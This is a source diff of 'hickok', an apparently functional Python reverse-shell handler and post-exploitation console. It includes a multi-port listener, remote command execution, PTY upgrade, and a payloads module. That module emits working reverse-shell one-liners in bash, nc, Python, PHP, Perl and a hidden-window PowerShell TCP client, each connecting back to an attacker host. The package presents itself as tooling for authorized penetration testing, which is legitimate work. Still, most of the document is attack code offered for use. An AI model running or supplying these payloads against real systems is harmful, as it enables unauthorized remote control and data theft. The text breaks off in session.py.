hickok 0.1.0__tar.gz

hickok-0.1.0/.github/workflows/ci.yml

@@ -0,0 +1,25 @@
+name: CI
+
+on:
+  push:
+    branches: [main]
+  pull_request:
+    branches: [main]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        python-version: ["3.10", "3.11", "3.12"]
+    steps:
+      - uses: actions/checkout@v5
+      - name: Set up Python ${{ matrix.python-version }}
+        uses: actions/setup-python@v5
+        with:
+          python-version: ${{ matrix.python-version }}
+      - name: Install
+        run: pip install -e ".[dev]"
+      - name: Test
+        run: pytest -q

hickok-0.1.0/.github/workflows/release.yml

@@ -0,0 +1,30 @@
+name: release
+
+on:
+  push:
+    tags: ["v*"]
+
+permissions:
+  contents: write
+  id-token: write   # lets PyPI Trusted Publishing mint a short-lived token (no secrets stored)
+
+jobs:
+  release:
+    runs-on: ubuntu-latest
+    environment: pypi   # must match the environment set on the PyPI trusted publisher
+    steps:
+      - uses: actions/checkout@v5
+      - uses: actions/setup-python@v5
+        with:
+          python-version: "3.12"
+      - name: Build sdist and wheel
+        run: |
+          python -m pip install --upgrade build
+          python -m build
+      - name: Publish GitHub release
+        uses: softprops/action-gh-release@v2
+        with:
+          generate_release_notes: true
+          files: dist/*
+      - name: Publish to PyPI
+        uses: pypa/gh-action-pypi-publish@release/v1

hickok-0.1.0/.gitignore

@@ -0,0 +1,18 @@
+# Python
+__pycache__/
+*.py[cod]
+*.egg-info/
+.eggs/
+dist/
+build/
+.venv/
+venv/
+
+# test / build caches
+.pytest_cache/
+.ruff_cache/
+
+# editors / OS
+.vscode/
+.idea/
+.DS_Store

hickok-0.1.0/CHANGELOG.md

@@ -0,0 +1,16 @@
+# Changelog
+
+All notable changes to this project are documented here. The format is loosely
+based on [Keep a Changelog](https://keepachangelog.com/).
+
+## [0.1.0]
+
+### Added
+- Reverse-shell handler: multi-port listeners and an interactive console
+  (`sessions`, `cmd`, `interact` with PTY raw-mode, `upgrade`, `kill`).
+- `payloads` — reverse-shell one-liners (bash, sh-fifo, nc, python3, php, perl,
+  PowerShell) for a given LHOST/LPORT, with LHOST auto-detection.
+- `hickok hand findings.json` — reads a wraith run and flags the findings that
+  mean code execution (a path to a shell); completes the dead man's hand.
+- Themed console (ember / steel / bone / crimson), the eights, and the
+  `eights` / dead-man's-hand reveals. Seeded from wraith's shell handler.

hickok-0.1.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Gustavo Almeida
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

hickok-0.1.0/PKG-INFO

@@ -0,0 +1,103 @@
+Metadata-Version: 2.4
+Name: hickok
+Version: 0.1.0
+Summary: Reverse-shell handler & post-exploitation console — the eights to wraith's aces.
+Project-URL: Homepage, https://github.com/gusta-ve/hickok
+Project-URL: Repository, https://github.com/gusta-ve/hickok
+Project-URL: Issues, https://github.com/gusta-ve/hickok/issues
+Project-URL: Changelog, https://github.com/gusta-ve/hickok/blob/main/CHANGELOG.md
+Author-email: Gustavo Almeida <gustavoalm09@gmail.com>
+License: MIT
+License-File: LICENSE
+Keywords: offensive-security,pentest,post-exploitation,red-team,reverse-shell,security
+Classifier: Environment :: Console
+Classifier: Programming Language :: Python :: 3
+Classifier: Topic :: Security
+Requires-Python: >=3.10
+Provides-Extra: dev
+Requires-Dist: pytest>=8.0; extra == 'dev'
+Description-Content-Type: text/markdown
+
+# hickok
+
+A reverse-shell handler and post-exploitation console. Catch shells on multiple
+listeners, run commands, upgrade to a full PTY, and generate reverse-shell
+one-liners — from one dependency-free CLI.
+
+It's the other half of a hand: [**wraith**](https://github.com/gusta-ve/wraith)
+holds the aces — it does the recon and proves the way in; **hickok** brings the
+eights — it acts on what wraith caught. Aces and eights, the *dead man's hand*.
+
+[![CI](https://github.com/gusta-ve/hickok/actions/workflows/ci.yml/badge.svg)](https://github.com/gusta-ve/hickok/actions/workflows/ci.yml)
+![Python 3.10+](https://img.shields.io/badge/python-3.10%2B-blue)
+![MIT](https://img.shields.io/badge/license-MIT-green)
+
+## Install
+
+```bash
+pipx install hickok
+```
+
+Or from a clone: `pip install -e .` — or run it with no install at all:
+`PYTHONPATH=src python3 -m hickok`.
+
+## Usage
+
+The listener is the default command, so a bare `hickok` starts catching shells:
+
+```bash
+hickok                                   # listen on :9001, drop into the console
+hickok -l 9001,9002 --lhost 10.10.14.7   # multiple listeners, fixed LHOST
+hickok payloads 10.10.14.7 9001          # print reverse-shell one-liners
+hickok hand wraith-runs/<run>/findings.json   # act on what wraith caught
+```
+
+Inside the console:
+
+```
+hickok>
+  sessions          list connected shells
+  payloads          reverse-shell one-liners for your LHOST
+  cmd 1 id          run a command on session 1
+  upgrade 1         turn a dumb shell into a PTY
+  interact 1        attach (detach with Ctrl-])
+  kill 1            drop a session
+```
+
+## The bridge — `hickok hand`
+
+Point hickok at a wraith run's `findings.json` and it reads the table: it lists
+what wraith found and flags every finding that means **code execution** (command
+injection, SSTI, …) — those are the doors to a shell.
+
+```bash
+hickok hand wraith-runs/target.com-<ts>/findings.json
+```
+
+```
+  [Critical] Command Injection in 'host'   http://target/ping   ⮕ shell
+  [High]     SSTI in 'name'                http://target/render ⮕ shell
+  [High]     Reflected XSS in 'q'          http://target/search
+
+      ┌─────┐   ┌─────┐   ┌─────┐   ┌─────┐
+      │ A♠  │   │ A♣  │   │ 8♠  │   │ 8♣  │
+      └─────┘   └─────┘   └─────┘   └─────┘
+
+  aces and eights — the dead man's hand.
+```
+
+wraith deals the aces; hickok brings the eights. The hand is complete.
+
+## Disclaimer
+
+Built for authorized security testing and research — point it where you're meant
+to. What anyone does with it from there is theirs alone; the author takes no
+responsibility for misuse.
+
+## License
+
+MIT.
+
+---
+
+*in memory of J.B. Hickok — shot holding aces and eights, Deadwood, 1876.*

hickok-0.1.0/README.md

@@ -0,0 +1,83 @@
+# hickok
+
+A reverse-shell handler and post-exploitation console. Catch shells on multiple
+listeners, run commands, upgrade to a full PTY, and generate reverse-shell
+one-liners — from one dependency-free CLI.
+
+It's the other half of a hand: [**wraith**](https://github.com/gusta-ve/wraith)
+holds the aces — it does the recon and proves the way in; **hickok** brings the
+eights — it acts on what wraith caught. Aces and eights, the *dead man's hand*.
+
+[![CI](https://github.com/gusta-ve/hickok/actions/workflows/ci.yml/badge.svg)](https://github.com/gusta-ve/hickok/actions/workflows/ci.yml)
+![Python 3.10+](https://img.shields.io/badge/python-3.10%2B-blue)
+![MIT](https://img.shields.io/badge/license-MIT-green)
+
+## Install
+
+```bash
+pipx install hickok
+```
+
+Or from a clone: `pip install -e .` — or run it with no install at all:
+`PYTHONPATH=src python3 -m hickok`.
+
+## Usage
+
+The listener is the default command, so a bare `hickok` starts catching shells:
+
+```bash
+hickok                                   # listen on :9001, drop into the console
+hickok -l 9001,9002 --lhost 10.10.14.7   # multiple listeners, fixed LHOST
+hickok payloads 10.10.14.7 9001          # print reverse-shell one-liners
+hickok hand wraith-runs/<run>/findings.json   # act on what wraith caught
+```
+
+Inside the console:
+
+```
+hickok>
+  sessions          list connected shells
+  payloads          reverse-shell one-liners for your LHOST
+  cmd 1 id          run a command on session 1
+  upgrade 1         turn a dumb shell into a PTY
+  interact 1        attach (detach with Ctrl-])
+  kill 1            drop a session
+```
+
+## The bridge — `hickok hand`
+
+Point hickok at a wraith run's `findings.json` and it reads the table: it lists
+what wraith found and flags every finding that means **code execution** (command
+injection, SSTI, …) — those are the doors to a shell.
+
+```bash
+hickok hand wraith-runs/target.com-<ts>/findings.json
+```
+
+```
+  [Critical] Command Injection in 'host'   http://target/ping   ⮕ shell
+  [High]     SSTI in 'name'                http://target/render ⮕ shell
+  [High]     Reflected XSS in 'q'          http://target/search
+
+      ┌─────┐   ┌─────┐   ┌─────┐   ┌─────┐
+      │ A♠  │   │ A♣  │   │ 8♠  │   │ 8♣  │
+      └─────┘   └─────┘   └─────┘   └─────┘
+
+  aces and eights — the dead man's hand.
+```
+
+wraith deals the aces; hickok brings the eights. The hand is complete.
+
+## Disclaimer
+
+Built for authorized security testing and research — point it where you're meant
+to. What anyone does with it from there is theirs alone; the author takes no
+responsibility for misuse.
+
+## License
+
+MIT.
+
+---
+
+*in memory of J.B. Hickok — shot holding aces and eights, Deadwood, 1876.*

hickok-0.1.0/pyproject.toml

@@ -0,0 +1,40 @@
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+
+[project]
+name = "hickok"
+version = "0.1.0"
+description = "Reverse-shell handler & post-exploitation console — the eights to wraith's aces."
+readme = "README.md"
+requires-python = ">=3.10"
+license = { text = "MIT" }
+authors = [{ name = "Gustavo Almeida", email = "gustavoalm09@gmail.com" }]
+keywords = ["security", "pentest", "offensive-security", "post-exploitation", "reverse-shell", "red-team"]
+classifiers = [
+    "Programming Language :: Python :: 3",
+    "Topic :: Security",
+    "Environment :: Console",
+]
+
+# Pure standard library — nothing to install but Python.
+dependencies = []
+
+[project.optional-dependencies]
+dev = ["pytest>=8.0"]
+
+[project.urls]
+Homepage = "https://github.com/gusta-ve/hickok"
+Repository = "https://github.com/gusta-ve/hickok"
+Issues = "https://github.com/gusta-ve/hickok/issues"
+Changelog = "https://github.com/gusta-ve/hickok/blob/main/CHANGELOG.md"
+
+[project.scripts]
+hickok = "hickok.cli:main"
+
+[tool.hatch.build.targets.wheel]
+packages = ["src/hickok"]
+
+[tool.pytest.ini_options]
+pythonpath = ["src"]
+testpaths = ["tests"]

hickok-0.1.0/src/hickok/__init__.py

@@ -0,0 +1,7 @@
+"""hickok — reverse-shell handler & post-exploitation console.
+
+The eights of the dead man's hand: wraith holds the aces (recon), hickok brings
+the eights (action). Aces and eights — J.B. Hickok, Deadwood 1876.
+"""
+
+__version__ = "0.1.0"

hickok-0.1.0/src/hickok/__main__.py

@@ -0,0 +1,4 @@
+from hickok.cli import main
+
+if __name__ == "__main__":
+    main()

hickok-0.1.0/src/hickok/cli.py

@@ -0,0 +1,176 @@
+"""hickok — reverse-shell handler & post-exploitation console."""
+
+from __future__ import annotations
+
+import argparse
+import asyncio
+import sys
+
+from hickok import __version__, findings, payloads
+from hickok.console import DIM, THEMES, Console
+from hickok.handler import ShellServer
+
+EXAMPLES = """\
+examples:
+  hickok                                 listen on :9001 and drop into the console
+  hickok -l 9001,9002 --lhost 10.10.14.7 multiple listeners, fixed LHOST
+  hickok hand wraith-runs/.../findings.json   act on what wraith caught
+  hickok payloads 10.10.14.7 9001        print reverse-shell one-liners
+"""
+
+_COMMANDS = {"listen", "hand", "payloads", "eights"}
+
+
+class _Help(argparse.RawDescriptionHelpFormatter):
+    def __init__(self, prog):
+        super().__init__(prog, max_help_position=28, width=86)
+
+
+def _with_default_command(argv):
+    """`hickok` / `hickok -l 9001` default to the `listen` handler."""
+    out = list(argv)
+    i = 0
+    while i < len(out):
+        tok = out[i]
+        if tok in ("-h", "--help", "--version"):
+            return out
+        if tok == "--theme":
+            i += 2
+            continue
+        if tok in ("--no-color", "--no-banner"):
+            i += 1
+            continue
+        if tok not in _COMMANDS:
+            out.insert(i, "listen")
+        return out
+    return out
+
+
+def _console(args) -> Console:
+    return Console(
+        theme=getattr(args, "theme", None),
+        color=False if getattr(args, "no_color", False) else None,
+        banner=not getattr(args, "no_banner", False),
+    )
+
+
+def cmd_listen(args) -> None:
+    c = _console(args)
+    c.banner()
+    try:
+        ports = [int(p) for p in args.listen.split(",")]
+    except ValueError:
+        raise SystemExit("--listen expects comma-separated port numbers")
+    lhost = args.lhost or payloads.guess_lhost()
+    server = ShellServer(ports, lhost, c)
+    asyncio.run(server.run())
+
+
+def cmd_payloads(args) -> None:
+    c = _console(args)
+    lhost = args.lhost or payloads.guess_lhost()
+    c.info(f"reverse shells for {lhost}:{args.lport}")
+    for name, p in payloads.generate(lhost, args.lport).items():
+        c.plain(f"\n  # {name}\n  {p}")
+    c.plain("")
+
+
+def cmd_hand(args) -> None:
+    c = _console(args)
+    c.banner()
+    try:
+        items = findings.load(args.file)
+    except (OSError, ValueError) as exc:
+        c.bad(f"cannot read findings: {exc}")
+        raise SystemExit(1)
+
+    c.info(f"{len(items)} finding(s) dealt by wraith")
+    c.rule("the table")
+    for f in items:
+        sev, title, target = f.get("severity", "?"), f.get("title", ""), f.get("target", "")
+        mark = c._accent("  ⮕ shell") if findings.is_foothold(title) else ""
+        c.plain(f"  [{sev}] {title}  {c._c(DIM, target)}{mark}")
+
+    c.dead_mans_hand(dealt_by_wraith=True)
+
+    foot = findings.footholds(items)
+    if foot:
+        c.good(f"{len(foot)} foothold(s) — code execution. catch a shell off one:")
+        c.plain("      hickok -l 9001          # listener in one terminal")
+        for f in foot:
+            c.plain(f"      → {f.get('target', '')}")
+    else:
+        c.warn("no code-execution foothold here — these are leads, not a shell (yet)")
+
+
+def cmd_eights(args) -> None:
+    _console(args).eights()
+
+
+def _output_options() -> argparse.ArgumentParser:
+    """Cosmetic options every command understands, shared via parents= so they
+    work in any position (`hickok hand f.json --no-color`, not only before it)."""
+    op = argparse.ArgumentParser(add_help=False)
+    op.add_argument("--theme", metavar="NAME", choices=list(THEMES),
+                    help="colour theme: " + " | ".join(THEMES) + " (default: ember)")
+    op.add_argument("--no-color", action="store_true", help="disable coloured output")
+    op.add_argument("--no-banner", action="store_true", help="suppress the banner")
+    return op
+
+
+def build_parser() -> argparse.ArgumentParser:
+    common = _output_options()
+    p = argparse.ArgumentParser(
+        prog="hickok",
+        description="Reverse-shell handler & post-exploitation. The listener is the default: "
+                    "`hickok -l PORTS`.",
+        epilog=EXAMPLES,
+        formatter_class=_Help,
+        parents=[common],
+    )
+    p.add_argument("--version", action="version", version=f"hickok {__version__}")
+    sub = p.add_subparsers(dest="command", metavar="<command>")
+
+    ln = sub.add_parser("listen", help="catch reverse shells (default command)",
+                        formatter_class=_Help, epilog=EXAMPLES, parents=[common])
+    ln.add_argument("-l", "--listen", metavar="PORTS", default="9001",
+                    help="comma-separated ports to listen on (default: 9001)")
+    ln.add_argument("--lhost", metavar="IP", help="LHOST embedded in generated payloads (auto-detected)")
+    ln.set_defaults(func=cmd_listen)
+
+    hd = sub.add_parser("hand", help="act on a wraith findings.json",
+                        formatter_class=_Help, parents=[common])
+    hd.add_argument("file", help="path to a wraith findings.json")
+    hd.set_defaults(func=cmd_hand)
+
+    pl = sub.add_parser("payloads", help="print reverse-shell one-liners",
+                        formatter_class=_Help, parents=[common])
+    pl.add_argument("lhost", nargs="?", help="LHOST (auto-detected if omitted)")
+    pl.add_argument("lport", nargs="?", type=int, default=9001, help="LPORT (default: 9001)")
+    pl.set_defaults(func=cmd_payloads)
+
+    egg = sub.add_parser("eights", parents=[common])   # easter egg: no help= keeps it out
+    egg.set_defaults(func=cmd_eights)
+    return p
+
+
+def main(argv=None) -> None:
+    argv = sys.argv[1:] if argv is None else list(argv)
+    parser = build_parser()
+    if not argv:
+        Console().banner()
+        parser.print_help()
+        return
+    args = parser.parse_args(_with_default_command(argv))
+    if not hasattr(args, "func"):
+        parser.print_help()
+        return
+    try:
+        args.func(args)
+    except KeyboardInterrupt:
+        print("\n  [-] interrupted", file=sys.stderr)
+        sys.exit(130)
+
+
+if __name__ == "__main__":
+    main()

hickok-0.1.0/src/hickok/console.py

@@ -0,0 +1,139 @@
+"""Console output: banner, colour themes, card art and the dead man's hand.
+
+Dependency-free (ANSI / truecolor). Colour auto-enables on a TTY and honours
+NO_COLOR; force it with HICKOK_COLOR=1. Pick a theme with --theme or HICKOK_THEME
+(ember | steel | bone | crimson).
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+
+from hickok import __version__
+
+RESET = "\033[0m"
+BOLD = "\033[1m"
+DIM = "\033[2m"
+
+THEMES = {
+    "ember":   {"grad": ((255, 205, 95), (150, 60, 0)), "accent": (255, 185, 70)},   # Deadwood gold
+    "steel":   {"grad": ((180, 200, 220), (40, 60, 90)), "accent": (150, 180, 215)},  # gunmetal
+    "bone":    {"grad": ((235, 235, 235), (120, 120, 120)), "accent": (220, 220, 220)},
+    "crimson": {"grad": ((255, 80, 80), (110, 0, 12)), "accent": (255, 85, 85)},      # match wraith
+}
+DEFAULT_THEME = "ember"
+
+_BONE = (235, 235, 235)   # black suits render bright on a dark terminal
+
+
+def _fg(rgb) -> str:
+    return f"\033[38;2;{rgb[0]};{rgb[1]};{rgb[2]}m"
+
+
+def _lerp(a, b, t):
+    return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))
+
+
+def _supports_color(force=None) -> bool:
+    if force is not None:
+        return force
+    if os.environ.get("NO_COLOR"):
+        return False
+    if os.environ.get("HICKOK_COLOR"):
+        return True
+    return sys.stdout.isatty()
+
+
+class Console:
+    def __init__(self, theme=None, color=None, banner=True):
+        name = theme or os.environ.get("HICKOK_THEME") or DEFAULT_THEME
+        self.theme = THEMES.get(name, THEMES[DEFAULT_THEME])
+        self.color = _supports_color(color)
+        self.show_banner = banner
+
+    def _emit(self, text: str = "") -> None:
+        print(text, flush=True)
+
+    def _c(self, code: str, text: str) -> str:
+        return f"{code}{text}{RESET}" if self.color else text
+
+    def _accent(self, text: str) -> str:
+        return self._c(_fg(self.theme["accent"]), text)
+
+    # --------------------------------------------------------------- cards
+    def _cards(self, specs, indent: str = "    ") -> None:
+        """Lay a row of playing cards (rank, suit) face-up, in bright bone."""
+        top = "   ".join("┌─────┐" for _ in specs)
+        mid = "   ".join(f"│ {r}{s}  │" for r, s in specs)
+        bot = "   ".join("└─────┘" for _ in specs)
+        white = _fg(_BONE)
+        for line in (top, mid, bot):
+            self._emit(indent + self._c(BOLD + white, line))
+
+    # -------------------------------------------------------------- banner
+    def banner(self) -> None:
+        if not self.show_banner:
+            return
+        self._emit()
+        self._cards([("8", "♠"), ("8", "♣")])
+        self._emit()
+        wordmark = "   ".join("HICKOK")
+        c0, c1 = self.theme["grad"]
+        if self.color:
+            out = ""
+            for i, ch in enumerate(wordmark):
+                out += _fg(_lerp(c0, c1, i / max(1, len(wordmark) - 1))) + ch
+            self._emit("    " + BOLD + out + RESET)
+        else:
+            self._emit("    " + wordmark)
+        self._emit("    " + self._accent("» ")
+                   + self._c(DIM, "reverse-shell handler & post-exploitation")
+                   + "   " + self._c(DIM, f"v{__version__}"))
+        self._emit("    " + self._c(DIM, "gusta-ve · github.com/gusta-ve/hickok · authorized use only"))
+        self._emit("    " + self._c(DIM, "in memory of J.B. Hickok — shot holding aces & eights, Deadwood 1876"))
+        self._emit()
+
+    # --------------------------------------------------------------- lines
+    def info(self, msg) -> None:
+        self._emit(self._c("\033[36m", "  [*] ") + str(msg))
+
+    def good(self, msg) -> None:
+        self._emit(self._c("\033[32m", "  [+] ") + str(msg))
+
+    def warn(self, msg) -> None:
+        self._emit(self._c("\033[33m", "  [!] ") + str(msg))
+
+    def bad(self, msg) -> None:
+        self._emit(self._c("\033[31m", "  [-] ") + str(msg))
+
+    def plain(self, msg: str = "") -> None:
+        self._emit(msg)
+
+    def rule(self, title: str = "") -> None:
+        if title:
+            self._emit(self._c(DIM, f"── {title} " + "─" * max(0, 52 - len(title))))
+        else:
+            self._emit(self._c(DIM, "─" * 56))
+
+    # ----------------------------------------------------------- the hand
+    def eights(self) -> None:
+        """Hickok lays down the eights — half the dead man's hand."""
+        self._emit()
+        self._cards([("8", "♠"), ("8", "♣")])
+        self._emit()
+        self._emit("        " + self._c(DIM, "Hickok lays down the eights."))
+        self._emit("        " + self._c(DIM, "…and Hickok was holding the eights."))
+        self._emit()
+
+    def dead_mans_hand(self, dealt_by_wraith: bool = False) -> None:
+        """The full hand laid down — aces and eights. When the aces came from a
+        wraith findings file, the catch is acknowledged."""
+        self._emit()
+        self._cards([("A", "♠"), ("A", "♣"), ("8", "♠"), ("8", "♣")])
+        self._emit()
+        self._emit("      " + self._c(BOLD, "aces and eights — the dead man's hand."))
+        if dealt_by_wraith:
+            self._emit("      " + self._c(DIM, "the wraith dealt the aces; Hickok brought the eights."))
+        self._emit("      " + self._c(DIM, "J.B. Hickok, Deadwood 1876.  the house always collects."))
+        self._emit()

hickok-0.1.0/src/hickok/findings.py

@@ -0,0 +1,35 @@
+"""Read a wraith findings.json and pick out what can be turned into a foothold.
+
+This is the bridge: wraith holds the aces (it finds and proves the way in),
+hickok brings the eights (it acts on them). A finding that means code execution
+is a door to a shell — hickok's whole reason to exist.
+"""
+
+from __future__ import annotations
+
+import json
+from pathlib import Path
+
+# Finding titles that imply server-side code execution -> a reverse shell.
+_FOOTHOLD = (
+    "command injection", "remote code", "rce", "code execution",
+    "server-side template injection", "ssti", "deserial", "file upload",
+)
+
+
+def load(path) -> list[dict]:
+    """Parse a wraith findings.json (a list of finding objects)."""
+    data = json.loads(Path(path).read_text(encoding="utf-8"))
+    if not isinstance(data, list):
+        raise ValueError("not a wraith findings.json (expected a JSON list)")
+    return data
+
+
+def is_foothold(title: str) -> bool:
+    """True if the finding's title implies code execution — a path to a shell."""
+    t = (title or "").lower()
+    return any(k in t for k in _FOOTHOLD)
+
+
+def footholds(findings: list[dict]) -> list[dict]:
+    return [f for f in findings if is_foothold(f.get("title", ""))]

hickok-0.1.0/src/hickok/handler.py

@@ -0,0 +1,189 @@
+"""Interactive reverse-shell handler: multi-listener + post-exploitation console."""
+
+from __future__ import annotations
+
+import asyncio
+import os
+import sys
+
+from hickok import payloads
+from hickok.session import SessionManager
+
+HELP = """commands:
+  sessions                 list connected sessions
+  interact <id>            attach to a session (detach with Ctrl-])
+  cmd <id> <command>       run a single command and print the output
+  upgrade <id>             upgrade the shell to a full PTY (python pty.spawn)
+  payloads [lhost] [lport] print reverse-shell one-liners
+  kill <id>                drop a session
+  help                     show this help
+  exit                     quit
+"""
+
+
+class ShellServer:
+    def __init__(self, ports: list[int], lhost: str, console):
+        self.ports = ports
+        self.lhost = lhost
+        self.console = console
+        self.mgr = SessionManager()
+        self._servers: list[asyncio.AbstractServer] = []
+
+    async def _on_conn(self, reader, writer) -> None:
+        sess = self.mgr.add(reader, writer)
+        sess.start()
+        host, port = sess.peer[0], sess.peer[1]
+        self.console.good(f"session {sess.id} opened — {host}:{port}")
+
+    async def _start_listeners(self) -> None:
+        for port in self.ports:
+            try:
+                server = await asyncio.start_server(self._on_conn, "0.0.0.0", port)
+            except OSError as exc:
+                self.console.bad(f"cannot bind :{port} — {exc}")
+                continue
+            self._servers.append(server)
+            self.console.info(f"listening on 0.0.0.0:{port}")
+
+    async def run(self) -> None:
+        await self._start_listeners()
+        if not self._servers:
+            self.console.bad("no listeners; aborting")
+            return
+        self.console.info(f"lhost for payloads: {self.lhost}  (type 'help')")
+        await self._repl()
+        for server in self._servers:
+            server.close()
+
+    # ------------------------------------------------------------- REPL
+    async def _repl(self) -> None:
+        loop = asyncio.get_event_loop()
+        while True:
+            try:
+                line = await loop.run_in_executor(None, input, "hickok> ")
+            except (EOFError, KeyboardInterrupt):
+                break
+            line = line.strip()
+            if not line:
+                continue
+            parts = line.split(maxsplit=1)
+            cmd = parts[0].lower()
+            arg = parts[1] if len(parts) > 1 else ""
+
+            if cmd in ("exit", "quit"):
+                break
+            elif cmd in ("help", "?"):
+                self.console.plain(HELP)
+            elif cmd in ("sessions", "ls"):
+                self._list_sessions()
+            elif cmd == "payloads":
+                self._show_payloads(arg)
+            elif cmd in ("cmd", "run"):
+                await self._run_cmd(arg)
+            elif cmd == "upgrade":
+                await self._upgrade(arg)
+            elif cmd == "interact":
+                await self._interact(arg)
+            elif cmd == "kill":
+                self._kill(arg)
+            else:
+                self.console.warn(f"unknown command: {cmd} (type 'help')")
+
+    def _list_sessions(self) -> None:
+        sessions = self.mgr.all()
+        if not sessions:
+            self.console.warn("no sessions yet")
+            return
+        for s in sessions:
+            state = "alive" if s.alive else "dead"
+            self.console.plain(f"  [{s.id}] {s.peer[0]}:{s.peer[1]}  {state}  up {s.age}")
+
+    def _show_payloads(self, arg: str) -> None:
+        bits = arg.split()
+        lhost = bits[0] if len(bits) >= 1 else self.lhost
+        lport = int(bits[1]) if len(bits) >= 2 else self.ports[0]
+        self.console.info(f"reverse shells for {lhost}:{lport}")
+        for name, payload in payloads.generate(lhost, lport).items():
+            self.console.plain(f"\n  # {name}\n  {payload}")
+        self.console.plain("")
+
+    def _resolve(self, arg: str):
+        try:
+            sess = self.mgr.get(int(arg.split()[0]))
+        except (ValueError, IndexError):
+            self.console.warn("usage needs a numeric session id")
+            return None
+        if not sess:
+            self.console.warn("no such session")
+            return None
+        return sess
+
+    async def _run_cmd(self, arg: str) -> None:
+        bits = arg.split(maxsplit=1)
+        if len(bits) < 2:
+            self.console.warn("usage: cmd <id> <command>")
+            return
+        sess = self._resolve(bits[0])
+        if not sess:
+            return
+        await sess.send(bits[1].encode() + b"\n")
+        out = await sess.collect(timeout=1.2)
+        sys.stdout.buffer.write(out)
+        sys.stdout.buffer.flush()
+        self.console.plain("")
+
+    async def _upgrade(self, arg: str) -> None:
+        sess = self._resolve(arg)
+        if not sess:
+            return
+        await sess.send(payloads.TTY_UPGRADE.encode() + b"\n")
+        self.console.good("sent PTY upgrade — interact and run: export TERM=xterm")
+
+    def _kill(self, arg: str) -> None:
+        sess = self._resolve(arg)
+        if not sess:
+            return
+        self.mgr.remove(sess.id)
+        self.console.good(f"session {sess.id} closed")
+
+    async def _interact(self, arg: str) -> None:
+        sess = self._resolve(arg)
+        if not sess:
+            return
+        if not sys.stdin.isatty():
+            self.console.warn("interact needs a real TTY — use 'cmd <id> ...' here")
+            return
+
+        import termios
+        import tty
+
+        loop = asyncio.get_event_loop()
+        fd = sys.stdin.fileno()
+        old = termios.tcgetattr(fd)
+        detached = asyncio.Event()
+
+        def on_stdin() -> None:
+            try:
+                data = os.read(fd, 4096)
+            except OSError:
+                detached.set()
+                return
+            if b"\x1d" in data:  # Ctrl-]
+                detached.set()
+                return
+            asyncio.ensure_future(sess.send(data))
+
+        self.console.info(f"interacting with session {sess.id} — detach: Ctrl-]")
+        try:
+            # Raw mode so our terminal stops cooking input: every keystroke
+            # (Ctrl-C, tab, arrows) goes straight to the remote shell instead of
+            # being handled locally. We restore the saved settings in `finally`.
+            tty.setraw(fd)
+            sess.mirror_on()
+            loop.add_reader(fd, on_stdin)
+            await detached.wait()
+        finally:
+            loop.remove_reader(fd)
+            sess.mirror_off()
+            termios.tcsetattr(fd, termios.TCSADRAIN, old)
+        self.console.plain("")

hickok-0.1.0/src/hickok/payloads.py

@@ -0,0 +1,49 @@
+"""Reverse-shell payload generation and the TTY-upgrade primitive."""
+
+from __future__ import annotations
+
+import socket
+
+# Sent to a connected dumb shell to turn it into a full PTY.
+TTY_UPGRADE = "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
+
+
+def guess_lhost() -> str:
+    """Best-effort local IP (the address used to reach the default route)."""
+    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    try:
+        s.connect(("8.8.8.8", 80))
+        return s.getsockname()[0]
+    except Exception:
+        return "127.0.0.1"
+    finally:
+        s.close()
+
+
+def generate(lhost: str, lport: int) -> dict[str, str]:
+    """Return a map of {name: reverse-shell one-liner} for the given LHOST/LPORT."""
+    return {
+        "bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
+        "sh-fifo": f"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
+        "nc-e": f"nc -e /bin/sh {lhost} {lport}",
+        "python3": (
+            "python3 -c 'import socket,os,pty;s=socket.socket();"
+            f's.connect(("{lhost}",{lport}));'
+            "[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(\"/bin/bash\")'"
+        ),
+        "php": f"php -r '$s=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
+        "perl": (
+            f"perl -e 'use Socket;$i=\"{lhost}\";$p={lport};"
+            "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"
+            "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");"
+            "open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
+        ),
+        "powershell": (
+            "powershell -nop -W hidden -c \"$c=New-Object System.Net.Sockets.TCPClient('"
+            f"{lhost}',{lport});$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};"
+            "while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName "
+            "System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);"
+            "$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);"
+            "$s.Write($sb,0,$sb.Length);$s.Flush()}\""
+        ),
+    }

hickok-0.1.0/src/hickok/session.py

@@ -0,0 +1,101 @@
+"""Connected reverse-shell sessions and their registry."""
+
+from __future__ import annotations
+
+import asyncio
